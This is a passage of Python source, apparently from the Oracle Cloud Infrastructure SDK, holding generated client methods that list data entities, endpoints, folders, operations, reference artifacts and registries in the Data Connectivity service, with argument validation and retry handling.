"NON_FAVORITES_ONLY", "ALL"] if kwargs['favorites_query_param'] not in favorites_query_param_allowed_values: raise ValueError( "Invalid value for `favorites_query_param`, must be one of {0}".format(favorites_query_param_allowed_values) ) query_params = { "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "fields": self.base_client.generate_collection_format_param(kwargs.get("fields", missing), 'multi'), "includeTypes": self.base_client.generate_collection_format_param(kwargs.get("include_types", missing), 'multi'), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "name": kwargs.get("name", missing), "excludeTypes": self.base_client.generate_collection_format_param(kwargs.get("exclude_types", missing), 'multi'), "favoritesQueryParam": kwargs.get("favorites_query_param", missing), "folderId": kwargs.get("folder_id", missing), "endpointIds": self.base_client.generate_collection_format_param(kwargs.get("endpoint_ids", missing), 'multi'), "excludeEndpointIds": self.base_client.generate_collection_format_param(kwargs.get("exclude_endpoint_ids", missing), 'multi') } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="DataAssetSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="DataAssetSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_data_entities(self, registry_id, connection_key, schema_resource_name, **kwargs): """ Lists a summary of data entities from the data asset using the specified connection. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str schema_resource_name: (required) The schema resource name used for retrieving schemas. :param str name: (optional) Used to filter by the name of the object. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param str type: (optional) Type of the object to filter the results with. :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param list[str] fields: (optional) Specifies the fields to get for an object. :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str api_mode: (optional) This parameter can be used to set the api response type to preview. Allowed values are: "PREVIEW", "ALL" :param list[str] name_list: (optional) Used to filter by the name of the object. :param bool is_pattern: (optional) This parameter can be used to specify whether entity search type is pattern search or not. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DataEntitySummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_data_entities.py.html>`__ to see an example of how to use list_data_entities API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas/{schemaResourceName}/dataEntities" method = "GET" operation_name = "list_data_entities" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "name", "page", "type", "limit", "fields", "sort_by", "sort_order", "opc_request_id", "api_mode", "name_list", "is_pattern", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_data_entities got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key, "schemaResourceName": schema_resource_name } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) if 'api_mode' in kwargs: api_mode_allowed_values = ["PREVIEW", "ALL"] if kwargs['api_mode'] not in api_mode_allowed_values: raise ValueError( "Invalid value for `api_mode`, must be one of {0}".format(api_mode_allowed_values) ) query_params = { "name": kwargs.get("name", missing), "page": kwargs.get("page", missing), "type": kwargs.get("type", missing), "limit": kwargs.get("limit", missing), "fields": self.base_client.generate_collection_format_param(kwargs.get("fields", missing), 'multi'), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "apiMode": kwargs.get("api_mode", missing), "nameList": self.base_client.generate_collection_format_param(kwargs.get("name_list", missing), 'multi'), "isPattern": kwargs.get("is_pattern", missing), "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="DataEntitySummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="DataEntitySummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_endpoints(self, compartment_id, **kwargs): """ Returns a list of Data Connectivity Management Endpoints. :param str compartment_id: (required) The OCID of the compartment containing the resources you want to list. :param str registry_id: (optional) DCMS registry id :param str name: (optional) Used to filter by the name of the object. :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param str lifecycle_state: (optional) Lifecycle state of the resource. Allowed values are: "CREATING", "ACTIVE", "INACTIVE", "UPDATING", "DELETING", "DELETED", "FAILED" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str sort_by: (optional) This parameter allows users to specify a sort field. Default sort order is the descending order of `timeCreated` (most recently created objects at the top). Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "TIMECREATED", "DISPLAYNAME", "TIMEUPDATED" :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.EndpointSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_endpoints.py.html>`__ to see an example of how to use list_endpoints API. """ resource_path = "/endpoints" method = "GET" operation_name = "list_endpoints" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "registry_id", "name", "limit", "page", "lifecycle_state", "sort_order", "sort_by", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_endpoints got unknown kwargs: {!r}".format(extra_kwargs)) if 'lifecycle_state' in kwargs: lifecycle_state_allowed_values = ["CREATING", "ACTIVE", "INACTIVE", "UPDATING", "DELETING", "DELETED", "FAILED"] if kwargs['lifecycle_state'] not in lifecycle_state_allowed_values: raise ValueError( "Invalid value for `lifecycle_state`, must be one of {0}".format(lifecycle_state_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) if 'sort_by' in kwargs: sort_by_allowed_values = ["TIMECREATED", "DISPLAYNAME", "TIMEUPDATED"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) query_params = { "compartmentId": compartment_id, "registryId": kwargs.get("registry_id", missing), "name": kwargs.get("name", missing), "limit": kwargs.get("limit", missing), "page": kwargs.get("page", missing), "lifecycleState": kwargs.get("lifecycle_state", missing), "sortOrder": kwargs.get("sort_order", missing), "sortBy": kwargs.get("sort_by", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="EndpointSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="EndpointSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_folders(self, registry_id, **kwargs): """ Retrieves a list of all folders. :param str registry_id: (required) The registry Ocid. :param str name: (optional) Used to filter by the name of the object. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param list[str] fields: (optional) Specifies the fields to get for an object. :param str type: (optional) Type of the object to filter the results with. :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str favorites_query_param: (optional) If value is FAVORITES_ONLY, then only objects marked as favorite by the requesting user will be included in result. If value is NON_FAVORITES_ONLY, then objects marked as favorites by the requesting user will be skipped. If value is ALL or if not specified, all objects, irrespective of favorites or not will be returned. Default is ALL. Allowed values are: "FAVORITES_ONLY", "NON_FAVORITES_ONLY", "ALL" :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.FolderSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_folders.py.html>`__ to see an example of how to use list_folders API. """ resource_path = "/registries/{registryId}/folders" method = "GET" operation_name = "list_folders" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "name", "page", "limit", "fields", "type", "sort_by", "sort_order", "opc_request_id", "favorites_query_param" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_folders got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) if 'favorites_query_param' in kwargs: favorites_query_param_allowed_values = ["FAVORITES_ONLY", "NON_FAVORITES_ONLY", "ALL"] if kwargs['favorites_query_param'] not in favorites_query_param_allowed_values: raise ValueError( "Invalid value for `favorites_query_param`, must be one of {0}".format(favorites_query_param_allowed_values) ) query_params = { "name": kwargs.get("name", missing), "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "fields": self.base_client.generate_collection_format_param(kwargs.get("fields", missing), 'multi'), "type": kwargs.get("type", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "favoritesQueryParam": kwargs.get("favorites_query_param", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="FolderSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="FolderSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_operations(self, registry_id, connection_key, schema_resource_name, **kwargs): """ Lists the summary of operations present in the schema identified by schema name. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str schema_resource_name: (required) The schema resource name used for retrieving schemas. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str name: (optional) Used to filter by the name of the object. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.OperationSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_operations.py.html>`__ to see an example of how to use list_operations API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas/{schemaResourceName}/operations" method = "GET" operation_name = "list_operations" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "name", "page", "limit", "sort_by", "sort_order", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_operations got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key, "schemaResourceName": schema_resource_name } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "name": kwargs.get("name", missing), "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="OperationSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="OperationSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_reference_artifacts(self, registry_id, dcms_artifact_id, **kwargs): """ Retrieves a list of all reference info of a dcms artifact. :param str registry_id: (required) The registry Ocid. :param str dcms_artifact_id: (required) The ID of a dcms artifact (DataAsset or Endpoint). :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param list[str] fields: (optional) Specifies the fields to get for an object. :param str type: (optional) Type of the object to filter the results with. :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str name: (optional) Used to filter by the name of the object. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param list[str] exclude_types: (optional) Types which wont be listed while listing dataAsset/Connection :param str favorites_query_param: (optional) If value is FAVORITES_ONLY, then only objects marked as favorite by the requesting user will be included in result. If value is NON_FAVORITES_ONLY, then objects marked as favorites by the requesting user will be skipped. If value is ALL or if not specified, all objects, irrespective of favorites or not will be returned. Default is ALL. Allowed values are: "FAVORITES_ONLY", "NON_FAVORITES_ONLY", "ALL" :param str service_artifact_id: (optional) Unique key of the service. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ReferenceArtifactSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_reference_artifacts.py.html>`__ to see an example of how to use list_reference_artifacts API. """ resource_path = "/registries/{registryId}/dcmsArtifacts/{dcmsArtifactId}/referenceArtifacts" method = "GET" operation_name = "list_reference_artifacts" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "page", "limit", "fields", "type", "sort_by", "sort_order", "name", "opc_request_id", "exclude_types", "favorites_query_param", "service_artifact_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_reference_artifacts got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "dcmsArtifactId": dcms_artifact_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) if 'favorites_query_param' in kwargs: favorites_query_param_allowed_values = ["FAVORITES_ONLY", "NON_FAVORITES_ONLY", "ALL"] if kwargs['favorites_query_param'] not in favorites_query_param_allowed_values: raise ValueError( "Invalid value for `favorites_query_param`, must be one of {0}".format(favorites_query_param_allowed_values) ) query_params = { "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "fields": self.base_client.generate_collection_format_param(kwargs.get("fields", missing), 'multi'), "type": kwargs.get("type", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "name": kwargs.get("name", missing), "excludeTypes": self.base_client.generate_collection_format_param(kwargs.get("exclude_types", missing), 'multi'), "favoritesQueryParam": kwargs.get("favorites_query_param", missing), "serviceArtifactId": kwargs.get("service_artifact_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ReferenceArtifactSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ReferenceArtifactSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_registries(self, compartment_id, **kwargs): """ Returns a list of Data Connectivity Management Registries. :param str compartment_id: (required) The OCID of the compartment containing the resources you want to list. :param str name: (optional) Used to filter by the name of the object. :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param bool is_deep_lookup: (optional) This parameter allows list registries to deep look at whole tenancy. :param str lifecycle_state: (optional) Lifecycle state of the resource. Allowed values are: "CREATING", "ACTIVE", "INACTIVE", "UPDATING", "DELETING", "DELETED", "FAILED" :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.RegistrySummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_registries.py.html>`__ to see an example of how to use list_registries API. """ resource_path = "/registries" method = "GET" operation_name = 